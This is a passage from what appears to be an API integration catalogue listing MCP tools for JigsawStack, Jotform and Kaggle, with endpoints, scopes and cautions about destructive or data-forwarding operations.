it. GET /api/v1/jigsawstack/ai/tts/clone. Scopes: api. jigsawstack_get_ping (read) — Reach the API and confirm the connection's credential is accepted. JigsawStack publishes no reference page for this route; it is the cheapest authenticated call the contract declares, which is why it is also what the connect-time probe uses. GET /api/v1/jigsawstack/ping. Scopes: api. jigsawstack_get_prompt_engine (read) — List all prompts in your project. GET /api/v1/jigsawstack/prompt_engine. Scopes: api. jigsawstack_get_prompt_engine_by_id (read) — Retrieve the details of a stored prompt. GET /api/v1/jigsawstack/prompt_engine/{id}. Scopes: api. jigsawstack_get_web_search_suggest (read) — Get suggestions for a given query in real time. GET /api/v1/jigsawstack/web/search/suggest. Scopes: api. jigsawstack_head_store_file_read_by_key (read) — Check whether a file exists in JigsawStack file storage without downloading it. A HEAD returns no body at all: success IS the answer, and a missing key is an error carrying the provider's status. HEAD /api/v1/jigsawstack/store/file/read/{key}. Scopes: api. jigsawstack_post_ai_image_generation (read) — Generate an image from a text prompt using models such as Flux and Stable Diffusion. POST /api/v1/jigsawstack/ai/image_generation. Scopes: api. jigsawstack_post_ai_prediction (read) — Forecast a wide range of time series data in seconds with one simple API and no data training. POST /api/v1/jigsawstack/ai/prediction. Scopes: api. jigsawstack_post_ai_scrape (read) — Scrape any website instantly and get consistent structured data in seconds without writing any CSS selector code. POST /api/v1/jigsawstack/ai/scrape. Scopes: api. jigsawstack_post_ai_sentiment (read) — Perform line by line sentiment analysis on any text with detailed emotion detection. POST /api/v1/jigsawstack/ai/sentiment. Scopes: api. jigsawstack_post_ai_sql (read) — Convert natural language to an SQL query for a named database dialect. Supplying the schema, or the key of a schema stored on JigsawStack, makes the generated query match real tables. POST /api/v1/jigsawstack/ai/sql. Scopes: api. jigsawstack_post_ai_transcribe (read) — Transcribe video and audio files with ease leveraging the Whisper large V3 AI model. Supplying `webhook_url` makes the call asynchronous: JigsawStack answers immediately and posts the transcript to that URL when it is done. POST /api/v1/jigsawstack/ai/transcribe. Scopes: api. jigsawstack_post_ai_translate (read) — Translate text from one language to another with support for multiple text formats. POST /api/v1/jigsawstack/ai/translate. Scopes: api. jigsawstack_post_ai_translate_image (read) — Extract and translate text from images into multiple languages. POST /api/v1/jigsawstack/ai/translate/image. Scopes: api. jigsawstack_post_classification (read) — Classify text and image datasets using custom labels. POST /api/v1/jigsawstack/classification. Scopes: api. jigsawstack_post_embedding (read) — Generate vector embeddings from various content types including text, images, audio and PDF files, with speaker fingerprint support. POST /api/v1/jigsawstack/embedding. Scopes: api. jigsawstack_post_object_detection (read) — Recognise objects within an image with great accuracy. POST /api/v1/jigsawstack/object_detection. Scopes: api. jigsawstack_post_prompt_engine (write) — Create a prompt for easy reuse. POST /api/v1/jigsawstack/prompt_engine. Scopes: api. jigsawstack_post_prompt_engine_by_id (read) — Execute a stored prompt engine by its id, filling its declared inputs from `input_values`. POST /api/v1/jigsawstack/prompt_engine/{id}. Scopes: api. jigsawstack_post_prompt_engine_run (read) — Run a prompt directly, without storing it first. Takes the same prompt definition `create_prompt` stores, plus the input values to fill it with, and returns the result in one call. POST /api/v1/jigsawstack/prompt_engine/run. Scopes: api. jigsawstack_post_validate_nsfw (read) — Quickly detect nudity, violence, hentai, porn and more NSFW content in images. POST /api/v1/jigsawstack/validate/nsfw. Scopes: api. jigsawstack_post_validate_profanity (read) — Check any text for profanity. POST /api/v1/jigsawstack/validate/profanity. Scopes: api. jigsawstack_post_validate_spam_check (read) — Perform spam check analysis on a given text in seconds. POST /api/v1/jigsawstack/validate/spam_check. Scopes: api. jigsawstack_post_validate_spell_check (read) — Check and correct spelling errors in a text. POST /api/v1/jigsawstack/validate/spell_check. Scopes: api. jigsawstack_post_vocr (read) — Recognise, describe and retrieve data within an image with great accuracy. POST /api/v1/jigsawstack/vocr. Scopes: api. jigsawstack_post_web_deep_research (read) — Effortlessly run deep research and get high-quality results powered with AI. POST /api/v1/jigsawstack/web/deep_research. Scopes: api. jigsawstack_post_web_html_to_any (read) — Capture screenshots of a website, convert HTML to both image and PDF formats. POST /api/v1/jigsawstack/web/html_to_any. Scopes: api. jigsawstack_post_web_search (read) — Effortlessly search the Web and get access to high-quality results powered with AI. POST /api/v1/jigsawstack/web/search. Scopes: api. ================================================================================ ## Jotform URL: https://www.agenticfabriq.com/integrations/jotform Section: Integrated Tools Jotform — 49 MCP tools Provider key: jotform. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. jotform_delete_form_by_id (write, destructive) — Delete a form via DELETE /form/{id}. Delete a form. Jotform moves a deleted form to the account's trash rather than purging it, so it can be restored from the Jotform dashboard for as long as the plan retains it -- but its submissions go with it and this integration offers no restore. Deleting a form the account still collects responses on stops that collection. DELETE /api/v1/jotform/form/{id}. Scopes: api. jotform_delete_form_by_id_question_by_qid (write, destructive) — Delete a question via DELETE /form/{id}/question/{qid}. Remove one question from a form. Answers already submitted to that question stay in the form's submission records but the question stops being asked. Irreversible from here. DELETE /api/v1/jotform/form/{id}/question/{qid}. Scopes: api. jotform_delete_form_by_id_webhooks_by_whid (write, destructive) — Delete a webhook via DELETE /form/{id}/webhooks/{whid}. Remove one webhook from a form, named by the webhook id jotform_get_form_by_id_webhooks returns. The form stops forwarding submissions to that URL from the next submission onward; anything already delivered is gone and cannot be recalled. This is the compensating control for jotform_post_form_by_id_webhooks. DELETE /api/v1/jotform/form/{id}/webhooks/{whid}. Scopes: api. jotform_delete_label_by_id (write, destructive) — Delete a label via DELETE /label/{id}. Delete a label. The forms and reports filed under it are NOT deleted -- they lose the label and stay in the account. Irreversible from here; recreate the label and re-add its resources to undo it. DELETE /api/v1/jotform/label/{id}. Scopes: api. jotform_delete_report_by_id (write, destructive) — Delete a report via DELETE /report/{id}. Delete a report and the URL it is served at, so a link already shared stops working. The form and its submissions are untouched. This is the compensating control for report creation. DELETE /api/v1/jotform/report/{id}. Scopes: api. jotform_delete_submission_by_id (write, destructive) — Delete a submission via DELETE /submission/{id}. Delete one submission and the answers it carries. Jotform moves it to the form's trash rather than purging it, so it can be restored from the Jotform dashboard; this integration offers no restore. Files uploaded with the submission go with it. DELETE /api/v1/jotform/submission/{id}. Scopes: api. jotform_get_form_by_id (read) — Get a form via GET /form/{id}. Retrieve one form's details by id: title, status, created and updated times, submission count, last submission, the form's public URL and its owner. Changes nothing in the account. GET /api/v1/jotform/form/{id}. Scopes: api. jotform_get_form_by_id_files (read) — List a form's uploaded files via GET /form/{id}/files. List every file respondents have uploaded through this form, each with the submission it came from, the question that collected it and its download URL. Changes nothing in the account. GET /api/v1/jotform/form/{id}/files. Scopes: api. jotform_get_form_by_id_properties (read) — Get a form's properties via GET /form/{id}/properties. Retrieve every property of a form: title, height, fonts, colours, submission limits, thank-you behaviour, redirect URL and the rest of Jotform's form-property vocabulary. Changes nothing in the account. GET /api/v1/jotform/form/{id}/properties. Scopes: api. jotform_get_form_by_id_properties_by_key (read) — Get one form property via GET /form/{id}/properties/{key}. Retrieve a single named property of a form -- `key` is a Jotform property name such as fontsize, thankurl, activeRedirect, limitSubmissions or hideMailEmptyFields, not a credential. Changes nothing in the account. GET /api/v1/jotform/form/{id}/properties/{key}. Scopes: api. jotform_get_form_by_id_question_by_qid (read) — Get one question via GET /form/{id}/question/{qid}. Retrieve a single question on a form by its question number, with its control type, label, slug, order and control-specific settings. Changes nothing in the account. GET /api/v1/jotform/form/{id}/question/{qid}. Scopes: api. jotform_get_form_by_id_questions (read) — List a form's questions via GET /form/{id}/questions. Retrieve every question on a form, keyed by question number, each with its control type, label, slug, order and control-specific settings. These question numbers are what a submission's answers are keyed by, so this is the call to make before writing one. Changes nothing in the account. GET /api/v1/jotform/form/{id}/questions. Scopes: api. jotform_get_form_by_id_reports (read) — List a form's reports via GET /form/{id}/reports. List the reports built from one form's submissions, each with its id, title, type and URL. Changes nothing in the account. GET /api/v1/jotform/form/{id}/reports. Scopes: api. jotform_get_form_by_id_submissions (read) — List a form's submissions via GET /form/{id}/submissions. List the submissions made to one form, each with its id, submission time, respondent IP, read and flagged markers and every answer keyed by question number. `limit` and `offset` page through them, `orderby` sorts by id, username, title, status, created_at, updated_at, new, count or slug, and `filter` is a JSON string Jotform evaluates server-side. Changes nothing in the account. GET /api/v1/jotform/form/{id}/submissions. Scopes: api. jotform_get_form_by_id_webhooks (read) — List a form's webhooks via GET /form/{id}/webhooks. List the webhook URLs a form posts its submissions to, keyed by webhook id. Use it to audit where a form's submissions are already being forwarded before adding another destination, and to find the id the webhook delete needs. Changes nothing in the account. GET /api/v1/jotform/form/{id}/webhooks. Scopes: api. jotform_get_label_by_id (read) — Get a label via GET /label/{id}. Retrieve one label by id: its name, colour, order, owner and parent. Changes nothing in the account. GET /api/v1/jotform/label/{id}. Scopes: api. jotform_get_label_by_id_resources (read) — List a label's forms and reports via GET /label/{id}/resources. List the forms and reports filed under one label, each with its id and type. Changes nothing in the account. GET /api/v1/jotform/label/{id}/resources. Scopes: api. jotform_get_report_by_id (read) — Get a report via GET /report/{id}. Retrieve one report's details by id: its title, type, the form it draws from, its settings and its URL. Changes nothing in the account. GET /api/v1/jotform/report/{id}. Scopes: api. jotform_get_submission_by_id (read) — Get a submission via GET /submission/{id}. Retrieve one submission by its own id, with its form, submission time, respondent IP, read and flagged markers and every answer keyed by question number. Changes nothing in the account. GET /api/v1/jotform/submission/{id}. Scopes: api. jotform_get_system_plan_by_planname (read) — Get a plan's limits via GET /system/plan/{planName}. Retrieve the limits and prices of one Jotform plan by name -- FREE, BRONZE, SILVER, GOLD or PLATINUM -- including its submission, upload, form-count and daily API-call ceilings. Read the account's own plan name from jotform_get_user (`account_type`) and its consumption from jotform_get_user_usage. The only operation on this API that needs no credential. Changes nothing in the account. GET /api/v1/jotform/system/plan/{planName}. Scopes: api. jotform_get_user (read) — Get account details via GET /user. Retrieve this Jotform account's own details: username, name, email, website, time zone, account type, status, region and whether it is verified. The reply also carries `limit-left`, how many of today's API calls remain on this key. This is the endpoint the connect-time probe uses. Changes nothing in the account. GET /api/v1/jotform/user. Scopes: api. jotform_get_user_forms (read) — List forms via GET /user/forms. List the forms this account owns, with each form's id, title, status, creation and update times, submission count and URL. `limit` and `offset` page through them, `orderby` sorts by id, username, title, status, created_at, updated_at, new, count or slug, and `filter` is a JSON string Jotform evaluates server-side. This is where form ids come from. Changes nothing in the account. GET /api/v1/jotform/user/forms. Scopes: api. jotform_get_user_history (read) — Get account activity history via GET /user/history. Retrieve this account's activity log: form creations and updates, submissions, logins, API key creation and deletions. `action` narrows it to one of all, userCreation, userLogin, formCreation, formUpdate, formDelete or formPurge, `date` to one of lastWeek, lastMonth, last3Months, last6Months or lastYear, `startDate` and `endDate` to a custom window, and `sortBy` orders it ASC or DESC. Changes nothing in the account. GET /api/v1/jotform/user/history. Scopes: api. jotform_get_user_labels (read) — List labels via GET /user/labels. List this account's labels -- Jotform's replacement for the retired folder feature -- each with its id, name, colour and parent. `addResources` asks Jotform to include each label's forms and reports inline; the ledger marks it required and it is not, measured 2026-09-24. Changes nothing in the account. GET /api/v1/jotform/user/labels. Scopes: api. jotform_get_user_reports (read) — List all reports via GET /user/reports. List every report this account has created across all of its forms, with each report's id, title, type and the form it draws from. Changes nothing in the account. GET /api/v1/jotform/user/reports. Scopes: api. jotform_get_user_settings (read) — Get account settings via GET /user/settings. Retrieve the account's settings: name, email, company, website, time zone, industry, security question and account status. Changes nothing in the account. GET /api/v1/jotform/user/settings. Scopes: api. jotform_get_user_submissions (read) — List all submissions via GET /user/submissions. List submissions across every form this account owns, newest first by default. `limit` and `offset` page through them, `orderby` sorts by one of id, form_id, IP, created_at, status, new, flag or updated_at, and `filter` is a JSON string Jotform evaluates server-side (for example {"created_at:gt":"2026-01-01"}). Changes nothing in the account. GET /api/v1/jotform/user/submissions. Scopes: api. jotform_get_user_subusers (read) — List sub-users via GET /user/subusers. List the sub-user accounts that share this account's forms, and what each may reach. Requires a plan that includes sub-users: measured 2026-09-24 a Starter (FREE) account answers 401 "User is not Allowed" here, which is the plan speaking and not a bad key -- the plan's own `subusers` limit is 1, the account holder alone. Changes nothing in the account. GET /api/v1/jotform/user/subusers. Scopes: api. jotform_get_user_usage (read) — Get monthly usage via GET /user/usage. Retrieve this month's usage counters for the account: submissions, SSL submissions, mobile submissions, payments, form views, form count, upload bytes, signed documents and AI conversations. Compare them against jotform_get_system_plan_by_planname for the plan's ceilings. Changes nothing in the account. GET /api/v1/jotform/user/usage. Scopes: api. jotform_post_form (write) — Create a form (alternate path) via POST /form. Create a new Jotform form -- the same operation as jotform_post_user_forms, which Jotform publishes under a second path. `questions` is keyed by question number and `properties.title` is required. The `emails` notification block is not available through this integration. Measured 2026-09-24, this endpoint answered 401 on a Starter account with 0 of 5 forms used, so the account's own plan or state may refuse it. POST /api/v1/jotform/form. Scopes: api. jotform_post_form_by_id_clone (write) — Clone a form via POST /form/{id}/clone. Copy a form, with its questions and properties, into a new form owned by the same account. Returns the new form's id. Submissions are NOT copied. Takes no body. POST /api/v1/jotform/form/{id}/clone. Scopes: api. jotform_post_form_by_id_properties (write) — Update a form's properties via POST /form/{id}/properties. Add or change form properties. `activeRedirect` decides what a respondent sees after submitting -- `default` for Jotform's thank-you message, `thanktext` for custom text or `thankurl` to send them to another page -- and `formWidth` and `labelWidth` resize the form. A partial update: properties the body does not name are left as they are. POST /api/v1/jotform/form/{id}/properties. Scopes: api. jotform_post_form_by_id_question_by_qid (write) — Update a question via POST /form/{id}/question/{qid}. Change one question's properties -- its label, position or data slug -- leaving the rest of the form alone. A partial update: only the properties named in `question` are written. POST /api/v1/jotform/form/{id}/question/{qid}. Scopes: api. jotform_post_form_by_id_questions (write) — Add a question to a form via POST /form/{id}/questions. Append a question to a form. `question.type` is a Jotform control name (control_textbox, control_dropdown, control_fileupload and the rest), and `text`, `order` and `name` set its label, position and data slug. Returns the created question with its new question number. POST /api/v1/jotform/form/{id}/questions. Scopes: api. jotform_post_form_by_id_reports (write) — Create a report via POST /form/{id}/reports. Build a report from a form's submissions: `title` names it and `list_type` picks the kind -- csv, excel, grid, table or rss. `fields` selects the columns by question id, plus `ip` for the respondent's address and `dt` for the submission date. THE REPORT GETS ITS OWN URL, which is how Jotform shares one, so treat the reply's URL as publishable rather than private; jotform_delete_report_by_id removes it again. POST /api/v1/jotform/form/{id}/reports. Scopes: api. jotform_post_form_by_id_submissions (write) — Add a submission to a form via POST /form/{id}/submissions. Record a submission against a form as if a respondent had filled it in. Answers go under `submission`, keyed by the question numbers jotform_get_form_by_id_questions returns; a question with sub-fields takes an object of them. Counts against the account's monthly submission allowance, and any notification the form is configured to send will fire. POST /api/v1/jotform/form/{id}/submissions. Scopes: api. jotform_post_form_by_id_webhooks (write, destructive) — Add a webhook to a form via POST /form/{id}/webhooks. Register a URL that Jotform POSTs every future submission of this form to. READ THE PAYLOAD BEFORE CHOOSING THE DESTINATION: what is sent is whatever the form collects, from the people who fill it in -- names, email addresses, uploaded files, and on a HIPAA-plan account health information -- and those respondents are third parties who cannot see where their answers were forwarded. The rule fires on every submission from now on, with no further call, so point it only at a host the account owner controls. `jotform_get_form_by_id_webhooks` lists what a form already has and `jotform_delete_form_by_id_webhooks_by_whid` removes one. POST /api/v1/jotform/form/{id}/webhooks. Scopes: api. jotform_post_label (write) — Create a label via POST /label. Create a label for organising forms and reports. `name` is required; `color` is a hex triplet and `parent` nests this label under another. Jotform picks a colour when none is given. POST /api/v1/jotform/label. Scopes: api. jotform_post_submission_by_id (write) — Update a submission via POST /submission/{id}. Change a submission: rewrite answers under `submission` keyed by question number, set `submission.flag` to '1' to flag it, or set `submission.new` to '0' to mark it read. A partial update -- fields the body does not name are left alone. POST /api/v1/jotform/submission/{id}. Scopes: api. jotform_post_user_forms (write) — Create a form via POST /user/forms. Create a new Jotform form from its questions and properties. `questions` is keyed by question number and each entry names a Jotform control type; `properties.title` is required. The `emails` notification block Jotform also accepts here is NOT available through this integration: it names an agent-chosen recipient and fires on every future submission. Set up notifications in the Jotform form builder. Measured 2026-09-24, this endpoint answered 401 on a Starter account with 0 of 5 forms used, so the account's own plan or state may refuse it. POST /api/v1/jotform/user/forms. Scopes: api. jotform_post_user_settings (write) — Update account settings via POST /user/settings. Change this Jotform account's profile: display name, company, website, time zone and industry. Three fields Jotform also accepts here are NOT available through this integration -- `email`, `securityQuestion` and `securityAnswer` -- because together they are the account's password-recovery path, and moving it would move control of the account and of every future API key minted for it. Change those in Jotform's own account settings. POST /api/v1/jotform/user/settings. Scopes: api. jotform_put_form (write) — Create forms from a form document (alternate path) via PUT /form. Create forms from a whole `formContent` document -- the same operation as jotform_put_user_forms under Jotform's second path. The `formContent.emails` notification block is not available through this integration. Measured 2026-09-24, this endpoint answered 401 on a Starter account with 0 of 5 forms used. PUT /api/v1/jotform/form. Scopes: api. jotform_put_form_by_id_properties (write) — Replace a form's properties via PUT /form/{id}/properties. Write a form's properties as a whole, under the `formProperties` key. This is the bulk counterpart of the partial property update; read the current set with jotform_get_form_by_id_properties first, because anything the body omits is not preserved. PUT /api/v1/jotform/form/{id}/properties. Scopes: api. jotform_put_form_by_id_questions (write) — Replace a form's questions via PUT /form/{id}/questions. Write a form's questions as a whole, keyed by question number, under the `questions` key. This is the bulk counterpart of adding questions one at a time; read the current set with jotform_get_form_by_id_questions first, because anything the body omits is not preserved. PUT /api/v1/jotform/form/{id}/questions. Scopes: api. jotform_put_form_by_id_submissions (write) — Write submissions in bulk via PUT /form/{id}/submissions. Write submission data for a form as a whole, under the `submission` key, keyed by question number. The bulk counterpart of adding submissions one at a time; the same allowance and the same notifications apply. PUT /api/v1/jotform/form/{id}/submissions. Scopes: api. jotform_put_label_by_id (write) — Update a label via PUT /label/{id}. Rename a label, recolour it or move it under a different parent. The body is the flat set of fields to change -- the ledger records a `property` wrapper that Jotform answers 400 "No parameters." to. PUT /api/v1/jotform/label/{id}. Scopes: api. jotform_put_label_by_id_add_resources (write) — Add forms or reports to a label via PUT /label/{id}/add-resources. File forms and reports under a label, each named by its id and its type (FORM or REPORT). Adding a resource that is already there is not an error. A bare array is refused -- the resources go under the `resources` key. PUT /api/v1/jotform/label/{id}/add-resources. Scopes: api. jotform_put_label_by_id_remove_resources (write) — Remove forms or reports from a label via PUT /label/{id}/remove-resources. Take forms and reports out of a label, each named by its id and its type (FORM or REPORT). Removes only the filing: the form or report itself is untouched. PUT /api/v1/jotform/label/{id}/remove-resources. Scopes: api. jotform_put_user_forms (write) — Create forms from a form document via PUT /user/forms. Create one or more forms from a whole `formContent` document -- questions, properties and layout in a single object, which is how Jotform's own exports are shaped. The `formContent.emails` notification block is not available through this integration. Measured 2026-09-24, this endpoint answered 401 on a Starter account with 0 of 5 forms used. PUT /api/v1/jotform/user/forms. Scopes: api. ================================================================================ ## Kaggle URL: https://www.agenticfabriq.com/integrations/kaggle Section: Integrated Tools Kaggle — 116 MCP tools Provider key: kaggle. Scopes: api. Connect: BYO — your own OAuth app, coming soon; API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. kaggle_post_benchmarks_benchmarksapiservice_createbenchmarkmodelversionconfig (write) — Create benchmark model version config. Kaggle Benchmarks: POST /benchmarks.BenchmarksApiService/CreateBenchmarkModelVersionConfig. Create a fully-configured, runnable BenchmarkModelVersion: pins the exact sampling/decoding parameters (reasoning effort, etc.) used when invoking the parent BenchmarkModelVersion. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. POST /api/v1/kaggle/benchmarks.BenchmarksApiService/CreateBenchmarkModelVersionConfig. Scopes: api. kaggle_post_benchmarks_benchmarksapiservice_createbenchmarkversionagentmappings (write) — Create benchmark version agent mappings. Kaggle Benchmarks: POST /benchmarks.BenchmarksApiService/CreateBenchmarkVersionAgentMappings. Map one or more Agents into a BenchmarkVersion, making them participants on that version's leaderboard. Requires update access to the parent BenchmarkVersion and read access to each Agent. Remapping an agent whose mapping was previously soft-deleted revives the existing row. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. POST /api/v1/kaggle/benchmarks.BenchmarksApiService/CreateBenchmarkVersionAgentMappings. Scopes: api. kaggle_post_benchmarks_benchmarksapiservice_deletebenchmarkversionagentmappings (write, destructive) — Delete benchmark version agent mappings. Kaggle Benchmarks: POST /benchmarks.BenchmarksApiService/DeleteBenchmarkVersionAgentMappings. Soft-delete Agent mappings from a BenchmarkVersion, removing those agents from the version's leaderboard. Does NOT affect the Agents themselves or any BenchmarkRuns they already produced. Requires update access to the parent BenchmarkVersion. Uses POST rather than DELETE because the mappings to remove are supplied in the body. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. POST /api/v1/kaggle/benchmarks.BenchmarksApiService/DeleteBenchmarkVersionAgentMappings. Scopes: api. kaggle_post_benchmarks_benchmarksapiservice_getbenchmarkleaderboard (read) — Get benchmark leaderboard. Kaggle Benchmarks: POST /benchmarks.BenchmarksApiService/GetBenchmarkLeaderboard. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `ownerSlug`, `benchmarkSlug`. POST /api/v1/kaggle/benchmarks.BenchmarksApiService/GetBenchmarkLeaderboard. Scopes: api. kaggle_post_benchmarks_benchmarksapiservice_getbenchmarkmodelversionconfig (read) — Get benchmark model version config. Kaggle Benchmarks: POST /benchmarks.BenchmarksApiService/GetBenchmarkModelVersionConfig. Get a BenchmarkModelVersionConfig by id. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. POST /api/v1/kaggle/benchmarks.BenchmarksApiService/GetBenchmarkModelVersionConfig. Scopes: api. kaggle_post_benchmarks_benchmarksapiservice_listbenchmarkmodels (read) — List benchmark models. Kaggle Benchmarks: POST /benchmarks.BenchmarksApiService/ListBenchmarkModels. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. POST /api/v1/kaggle/benchmarks.BenchmarksApiService/ListBenchmarkModels. Scopes: api. kaggle_post_benchmarks_benchmarksapiservice_listbenchmarkmodelversionconfigs (read) — List benchmark model version configs. Kaggle Benchmarks: POST /benchmarks.BenchmarksApiService/ListBenchmarkModelVersionConfigs. List BenchmarkModelVersionConfigs, optionally filtered by parent BenchmarkModelVersion id(s). Paginated. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. POST /api/v1/kaggle/benchmarks.BenchmarksApiService/ListBenchmarkModelVersionConfigs. Scopes: api. kaggle_post_benchmarks_benchmarksapiservice_listbenchmarkversionagentmappings (read) — List benchmark version agent mappings. Kaggle Benchmarks: POST /benchmarks.BenchmarksApiService/ListBenchmarkVersionAgentMappings. List the Agent mappings of BenchmarkVersions, optionally filtered by parent BenchmarkVersion id(s) and/or child Agent id(s). Soft-deleted mappings are excluded. Paginated. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. POST /api/v1/kaggle/benchmarks.BenchmarksApiService/ListBenchmarkVersionAgentMappings. Scopes: api. kaggle_post_benchmarks_benchmarktasksapiservice_batchschedulebenchmarktaskruns (write) — Batch schedule benchmark task runs. Kaggle Benchmarks (tasks and runs): POST /benchmarks.BenchmarkTasksApiService/BatchScheduleBenchmarkTaskRuns. Schedules runs for a set of tasks against a set of models. Starts compute that draws on the account's quota. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. POST /api/v1/kaggle/benchmarks.BenchmarkTasksApiService/BatchScheduleBenchmarkTaskRuns. Scopes: api. kaggle_post_benchmarks_benchmarktasksapiservice_createbenchmarktask (write) — Create benchmark task. Kaggle Benchmarks (tasks and runs): POST /benchmarks.BenchmarkTasksApiService/CreateBenchmarkTask. For the given slug: * if it exists: creates a new task version (under the existing task) * if it does not exist: creates a new task (and 1st task version) Kaggle is a public community site: what this creates or publishes can be visible to everyone unless the request marks it private. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `slug`. POST /api/v1/kaggle/benchmarks.BenchmarkTasksApiService/CreateBenchmarkTask. Scopes: api. kaggle_post_benchmarks_benchmarktasksapiservice_getbenchmarktask (read) — Get benchmark task. Kaggle Benchmarks (tasks and runs): POST /benchmarks.BenchmarkTasksApiService/GetBenchmarkTask. Get a particular task for a user. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `slug`, `slug.taskSlug`. POST /api/v1/kaggle/benchmarks.BenchmarkTasksApiService/GetBenchmarkTask. Scopes: api. kaggle_post_benchmarks_benchmarktasksapiservice_getbenchmarktaskquota (read) — Get benchmark task quota. Kaggle Benchmarks (tasks and runs): POST /benchmarks.BenchmarkTasksApiService/GetBenchmarkTaskQuota. Return the current user's model proxy quota. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. POST /api/v1/kaggle/benchmarks.BenchmarkTasksApiService/GetBenchmarkTaskQuota. Scopes: api. kaggle_post_benchmarks_benchmarktasksapiservice_listbenchmarktaskruns (read) — List benchmark task runs. Kaggle Benchmarks (tasks and runs): POST /benchmarks.BenchmarkTasksApiService/ListBenchmarkTaskRuns. List runs for a particular task. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `taskSlug`, `taskSlug.taskSlug`. POST /api/v1/kaggle/benchmarks.BenchmarkTasksApiService/ListBenchmarkTaskRuns. Scopes: api. kaggle_post_benchmarks_benchmarktasksapiservice_listbenchmarktasks (read) — List benchmark tasks. Kaggle Benchmarks (tasks and runs): POST /benchmarks.BenchmarkTasksApiService/ListBenchmarkTasks. List tasks for the current user. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. POST /api/v1/kaggle/benchmarks.BenchmarkTasksApiService/ListBenchmarkTasks. Scopes: api. kaggle_post_benchmarks_benchmarktasksapiservice_publishbenchmarktask (write) — Publish benchmark task. Kaggle Benchmarks (tasks and runs): POST /benchmarks.BenchmarkTasksApiService/PublishBenchmarkTask. Publish a particular task for a user. Optionally publishes the backing notebook (`source_kernel_id`) in the same request. Kaggle is a public community site: what this creates or publishes can be visible to everyone unless the request marks it private. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. POST /api/v1/kaggle/benchmarks.BenchmarkTasksApiService/PublishBenchmarkTask. Scopes: api. kaggle_post_blobs_blobapiservice_startblobupload (write) — Start blob upload. Kaggle Blob uploads: POST /blobs.BlobApiService/StartBlobUpload. Starts a blob upload (i.e. reserves a spot for the upload on GCS). Returns a signed upload URL and token; the file bytes must be PUT to that URL outside Agentic Fabriq, since no tool call can carry them. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `type`. POST /api/v1/kaggle/blobs.BlobApiService/StartBlobUpload. Scopes: api. kaggle_post_common_operationsservice_getoperation (read) — Get operation. Kaggle Long-running operations: POST /common.OperationsService/GetOperation. Gets the latest state of a long-running operation. Clients can use this method to poll the operation result at intervals as recommended by the API service. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `name`. POST /api/v1/kaggle/common.OperationsService/GetOperation. Scopes: api. kaggle_post_competitions_competitionapiservice_addcompetitionhost (write) — Add competition host. Kaggle Competitions: POST /competitions.CompetitionApiService/AddCompetitionHost. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `competitionName`, `userName`. POST /api/v1/kaggle/competitions.CompetitionApiService/AddCompetitionHost. Scopes: api. kaggle_post_competitions_competitionapiservice_addcompetitionjudge (write) — Add competition judge. Kaggle Competitions: POST /competitions.CompetitionApiService/AddCompetitionJudge. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `competitionName`. POST /api/v1/kaggle/competitions.CompetitionApiService/AddCompetitionJudge. Scopes: api. kaggle_post_competitions_competitionapiservice_createcodesubmission (write) — Create code submission. Kaggle Competitions: POST /competitions.CompetitionApiService/CreateCodeSubmission. Makes a real competition submission: it counts against the daily submission limit and is scored on the leaderboard. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. POST /api/v1/kaggle/competitions.CompetitionApiService/CreateCodeSubmission. Scopes: api. kaggle_post_competitions_competitionapiservice_createcompetition (write) — Create competition. Kaggle Competitions: POST /competitions.CompetitionApiService/CreateCompetition. Kaggle is a public community site: what this creates or publishes can be visible to everyone unless the request marks it private. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. POST /api/v1/kaggle/competitions.CompetitionApiService/CreateCompetition. Scopes: api. kaggle_post_competitions_competitionapiservice_createcompetitionpage (write) — Create competition page. Kaggle Competitions: POST /competitions.CompetitionApiService/CreateCompetitionPage. Kaggle is a public community site: what this creates or publishes can be visible to everyone unless the request marks it private. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `competitionName`, `page`. POST /api/v1/kaggle/competitions.CompetitionApiService/CreateCompetitionPage. Scopes: api. kaggle_post_competitions_competitionapiservice_createsubmission (write) — Create submission. Kaggle Competitions: POST /competitions.CompetitionApiService/CreateSubmission. Makes a real competition submission: it counts against the daily submission limit and is scored on the leaderboard. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. POST /api/v1/kaggle/competitions.CompetitionApiService/CreateSubmission. Scopes: api. kaggle_post_competitions_competitionapiservice_deletecompetitionpage (write, destructive) — Delete competition page. Kaggle Competitions: POST 